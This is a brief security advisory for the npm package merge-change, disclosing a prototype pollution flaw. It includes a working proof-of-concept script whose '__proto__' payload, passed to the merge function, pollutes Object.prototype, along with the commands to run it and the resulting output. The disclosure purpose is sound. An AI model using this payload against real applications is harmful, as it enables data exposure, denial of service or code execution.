vulnerability prototype pollution
severity 7.3
language javascript
registry npm


merge-change is vulnerable to Prototype Pollution. This package fails to restrict access to prototypes of objects, allowing for modification of prototype behavior using a proto payload, which may result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var mc = require("merge-change")

console.log("Before : " + {}.polluted);
const result = mc.merge({'__proto__':{}}, {$set:{'__proto__.polluted': 'Yes! Its Polluted'}});
console.log("After : " + {}.polluted);

  1. Execute the following commands in another terminal:
npm i merge-change # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted